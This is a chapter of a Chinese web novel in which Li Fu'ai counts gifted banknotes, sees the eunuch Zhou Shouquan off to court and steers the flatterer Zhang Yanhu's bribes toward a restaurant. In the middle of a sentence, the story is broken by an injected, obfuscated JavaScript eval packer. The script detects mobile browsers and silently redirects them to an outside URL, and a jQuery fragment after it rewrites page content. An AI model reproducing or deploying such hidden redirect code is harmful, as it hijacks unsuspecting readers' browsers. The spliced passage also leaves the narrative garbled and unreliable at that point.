36. 第 36 章
作品:《和反派太监搭伙过日子》 李拂爱从袖中抽出那根略微粗糙的木簪,手指轻轻划过它身上不完美的曲折,莞尔一笑,将它郑重的搁置在猪猪锦盒内。
抱月站在李拂爱身后,看到李拂爱展露在镜中的笑颜,边给李拂爱拔下头上的金钗边说:“小姐今日很开心呢。”
李拂爱头上的金钗有些难解,晚上点烟花的时候跑来跑去的把发型都弄乱了,几根发丝缠在金钗的尾部,抱月小心的捏起这几根头发,绕开金钗。
细软的发丝在抱月手下离开金钗,终于回到了李拂爱头上。
金钗终于被抱月拔了下来,抱月舒了一口气,开始跟下一根簪子做斗争。
李拂爱从怀里取出鼓鼓的红纸包,听到抱月的感慨随口回答:“是啊,看到这东西后,我更开心了。”
说罢,她迫不及待的拆开鼓囊囊的红纸包,一层红纸包着一层,李拂爱手速奇快的打开,写着德祐六年的银票就出现在她眼前,她的手快速的数了起来,一共是——一万两白银。
李拂爱惊喜的叫了一声,两手虔诚的捧起四角都被拆开的红纸包,郑重的说:“我宣布,周守全就是我的财神爷。”
初五还迎什么财神啊,她要把周守全供起来。
她动作一大,就带着脑袋都动起来,吓得抱月连忙松开拿着她头发的手。
李拂爱仰着头把红纸包和银票都高高举起,像一个虔诚的信徒,只差把她手上的这些银票都供起来了。
抱月捏着梳子,静静地等李拂爱发疯完坐回凳子上后,才又凑上去拆解李拂爱头上的头饰。
抱月这次快多了,显然是害怕李拂爱再来一次突然的大动作。
头上的金玉环簪被快速的褪下,李拂爱乖乖的等待抱月给她梳顺头发后立马抱着银票站了起来。
她从中抽出一张,掀起枕头把这一张放在床铺上,手指还轻轻的拍拍这张银票,最后把枕头压在银票上。
做完这一切后,李拂爱又转身把剩下的银票放进盛钱的锦盒内。
就这样,李拂爱枕着钱睡了一晚上。
这个夜晚,李拂爱的睡眠格外的好,睡得格外香。
以至于大年初二一大早醒来的时候,李拂爱居然完全没有再睡个回笼觉的想法。
抱月听到声音进来时,都惊讶地看了看天色。
显然也是没有想到李拂爱能够醒的那么早。
早上七点,天才亮了没多久,京城中的许多人早就醒了,但这对于天天睡到日上三竿的李拂爱来说,是个稀奇罕见的时间。
往日里,这时她总沉浸在美好的梦乡里。
李拂爱支着胳膊坐在床上,身上是不断下滑的棉被,她一只手抓了抓乱糟糟的头发,又抹了把脸。
嗯……鼻翼出油了。
李拂爱顶着梳妆整齐的发型出了院门时,正好赶上了周守全带着一群人回宫上职。
周守全看着一身简约装束的李拂爱不知道从哪里窜出来,不知道是先惊讶她破天荒的起早还是惊讶她这一身衣服。
李拂爱帅气的甩了一下高高的马尾,食指和中指并拢由额头挥向半空:“呦,周守全,上职去吗?”
整个人散发着一种吊儿郎当的浪荡子气质。
周守全脸色怪异的瞅着她,但还是老老实实的回答道:“嗯。”
他把李拂爱全身上下看了一遍,从她的靴子到利落的连衫,再到她高高束起的头发。
活脱脱一个女侠客。
他还是忍不住问道:“你这是?”
李拂爱跟着他的视线看向自己的衣着,洒脱的一笑,向周守全解释道:“我想锻炼身体,你忘了咱俩那天被追着砍了?”
周守全跟着她的话想起了那天在韩王府被一群习武侍女狂追的往事,脸色一黑。
差点就要开口说他也要跟着练了。
但是,他是有工作的人。
李拂爱瞅着他的脸色,安慰的拍了拍他的手臂,让他想开点:“没事的,咱们有护卫。”
虽然事实证明护卫也会出岔子。
但是聊胜于无啊。
话说,上次的锦衣卫小哥被罚了吗?
周守全深呼一口气,看看天色,牵住李拂爱温热的手往前走:“等再过几日,我给你找个武师傅。”
李拂爱顺从的跟着他走,闻言惊喜的欢呼:“真的?周守全,你真好。”
她蹦蹦跳跳的握住周守全的手,两只手都紧紧的包裹住周守全的手。
周守全垂眸看着两人交握的双手,抿嘴一笑,随即心情很好的任由李拂爱晃着他的胳膊。
李拂爱挽着周守全的一边胳膊,边走边想武师傅来了后,她每日都该如何规划。
想着想着,她就想到了一个威武的女子——禧莲。
一只胳膊能顶得上她两只胳膊,手臂一捏就能摸到满手的肌肉,甚至比她高多了。
安全感十足啊,教她这个小菜鸟简直绰绰有余。
“周守全,我住进来后怎么都没看到禧莲啊?”李拂爱晃晃周守全的胳膊,疑惑的问。
清晨的空气很好,就是有点冷,李拂爱感受着突然的冷气,下意识的缩了一下脖子。
两三秒后,她见周守全还没回答,又晃了两下周守全的胳膊,还疑问的“嗯?”了一声。
周守全短短时间内再次黑了第二次脸,压着不愉快的回忆说:“她进了陛下直令的雀卫,还在临时雀卫的位置上挣扎呢。”
他即希望禧莲能当上正式雀卫,又希望她被刷下来。
禧莲是和他一起从草原被进献到大齐的,作为某种意义上的同乡,他当然希望自己人能在陛下看中的雀卫中占据一席之地。
但,禧莲这个粗鲁又大条的粗人,更是日常鄙视他这种弱力男子。所以他又想看到禧莲被刷下来时失败的样子。
哈哈哈哈哈哈,真是想想都畅快。
李拂爱只有单纯的惊叹,她幻想着禧莲穿着皇家特制的赐服的样子,真是想想都帅气极了。
周守全带着复杂的情绪坐上马车,恋恋不舍的推开小窗的木门跟李拂爱挥手拜拜。
李拂爱高高的伸着手,挥了两下看着周守全走远后立马放下了。
她目送着周守全的马车拐了个弯,再也看不见影后,左右动了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089842|160611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动脖子,咔咔两声,李拂爱舒服多了。
李拂爱刚转过身,还没往回走两步,一道马车声咕噜噜的停在她身后。
“?”
李拂爱奇怪的回头,看到一个敏捷的身影跳下马车,拱手弯腰的凑到门口。
对着门口守着的小厮说着什么。
来人看着就不着四六、没有正经工作,还一副谄媚的样子。没错,这人正是——张严虎。
李拂爱看到他的脸的那一刻连忙抬起脚来往回走,却被眼神还不错的张严虎发现了她。
“李姑娘!哎,李姑娘您别忙着走啊,我是张严虎啊!”
门口守着的小厮眼神不善的呵止他:“住嘴——”
李拂爱头疼的支住额头,还是良心暂时站了上风,又转身走回去。
“放下棍子吧。”李拂爱叫住正要拿起棍子把张严虎打出去的守门小厮,示意他们先别急,又朝着张严虎问道,“张严虎,大早上的你这是整哪一出啊?”
张严虎嘿嘿一笑,指了指马车后跟着的一辆马车,谄媚的说:“我是来孝敬掌印大人的,这些都是送来孝敬的。”
李拂爱顺着他的手偏头去看,慢慢一马车的箱子。
想也知道里面是些什么东西。
这张严虎还挺舍得花钱。
张严虎还在解释:“昨天我来了一次,您府上的管家不收,李姑娘,您看?”
他边说着,边拿出一张银票就要往李拂爱手里塞。
够上道的。
这句话在李拂爱摸到那张银票后,第一时间冒出来。
她连忙甩开手,指着张严虎的鼻尖,义正言辞的说:“停!”
在门口收钱也风险也太大了,这个张严虎还真是不会变通,也不去打听打听给周守全送钱的正确打开方式。
直接就拉着一车的东西跑来了。
这是生怕不被人抓到把柄啊。
她李拂爱作为一个正直守法的平民百姓,一定要制止这种恶劣的行为。
“你去西直街的普罗酒楼花钱。”
李拂爱语速飞快,左右不断地观察有没有人盯着。
张严虎一愣,呆呆的:“啊?”
见他呆傻的样子,李拂爱不耐烦的“啧”了一声,又细致的快速说了一遍:“把你这一马车东西都花在普罗酒楼里,别带着一马车直接去,分开,懂吗?”
“想孝敬你心心念念的掌印大人就按我说的做。”
张严虎此时才反应过来,连忙点头,感激的看着李拂爱,恨不得给她跪一个。
李拂爱看着张严虎这副样子,在心里嘀咕:“张为海怎么收的钱,张严虎居然连这都不懂。”
见张严虎傻头傻脑的样子,李拂爱又看看那一马车箱子,出于好奇问了一句:“你就这么想要跟着督公吗?”
张严虎眼含热泪的说:“我可不得再认个干爹嘛。”
“……”
什么?认干爹?
张为海要是知道了还不得被气死。
李拂爱想着张为海那张老脸,觉得此事能狠狠地抽张为海那老家伙两巴掌。